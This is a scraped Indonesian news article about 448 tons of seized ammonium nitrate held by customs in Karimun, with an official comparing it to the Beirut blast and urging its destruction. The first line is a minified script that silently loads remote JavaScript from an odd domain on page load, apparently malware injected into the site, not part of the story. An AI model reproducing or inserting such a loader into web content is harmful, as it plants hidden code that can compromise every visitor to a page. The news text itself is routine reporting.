(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Sebanyak 448 ton bahan peledak jenis amonium nitra disimpan Dirjen Bea dan Cukai (DJBC) Khusus Kepri di Karimun, Kepulauan Riau.
Bahan peledak itu disimpan dari berbagai kasus. Sebanyak 17.936 karung amonium nitrat yang tersimpan di gudang Kanwil belum dimusnahkan.
Sementara, kasus-kasus terkait dengan penyitaan amonium nitrat ini sudah berkekuatan hukum tetap.
Kepala Kantor DJBC Khusus Kepri, Agus Yulianto mengatakan, ratusan ton amonium nitrat itu merupakan hasil penindakan sejak tahun 2010 silam.
Ada dua kasus di tahun 2010 tersebut yang telah inkrah di tahun 2012. Kemudian, kembali bertambah 3 kasus di tahun 2015, lalu 3 kasus di tahun 2016, dan 1 kasus di tahun 2018.
“Seharusnya barang dieksekusi, karena sudah ada keputusan hukum dan barangnya sudah dirampas untuk Negara. Karena jaksa tidak punya gudang dan sebagainya, jadi dititipkan ke kami,†kata Agus dikutip dari Suara.com -jaringan Kanalkalimantan.com-, Kamis (20/8/2020).
Sejauh ini proses penyimpanan amonium nitrat tersebut cukup baik dan sesuai dengan prosedur. Serta ditempatkan di tempat yang aman.
Kejadian Lebanon
Namun begitu, Agus menyebut amonium nitrat juga tidak baik kalau terlalu lama disimpan. Seperti kejadian ledakan di Lebanon belum lama ini.
“Jika dibandingkan, yang ada sama kita ini seperlima atau seperempat dari yang ada di Lebanon. Jika aktif, bisa menenggelamkan Karimun,” kata Agus.
Karena itu, Kanwil DJBC telah mengirim surat ke Kejaksaan, agar barang tersebut dapat segera dieksekusi. Surat itu juga ditembuskan ke Kejagung, Kapolri, dan Presiden.
“Dengan adanya kejadian itu, kita mengingatkan, kita buatkan surat pada Kejari, karena kami tahu kesulitan dalam mengeksekusi. Kemudian surat itu kita tembuskan ke Kejagung, Kapolri, dan lainnya, salah satunya kantor staf Kepresidenan yang juga telah merespons surat tersebut,” ucap Agus.
“Barang sebanyak ini kalau disimpan terlalu lama bisa menimbulkan bahaya yang serius. Dan kita tidak mau nantinya sama seperti kejadian di Lebanon,” kata Agus.
Pihaknya meminta Kejari Karimun untuk secepatnya menindaklanjuti amonium nitrat tersebut untuk mengantisipasi apa yang terjadi di Beirut, Lebanon, juga terjadi di Karimun karena memiki jenis dan unsur yang sama.
“Teknik pemusnahan itu sederhana sebetulnya, juga sesuai dengan rekomendasi Bareskrim, itu ditimbun dengan ukuran galian tanah yang pas, lalu dialirkan air agar larut setelah itu ditimbun lagi, bisa buat efek senyawa aktifnya itu hilang,” ujar Agus. (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.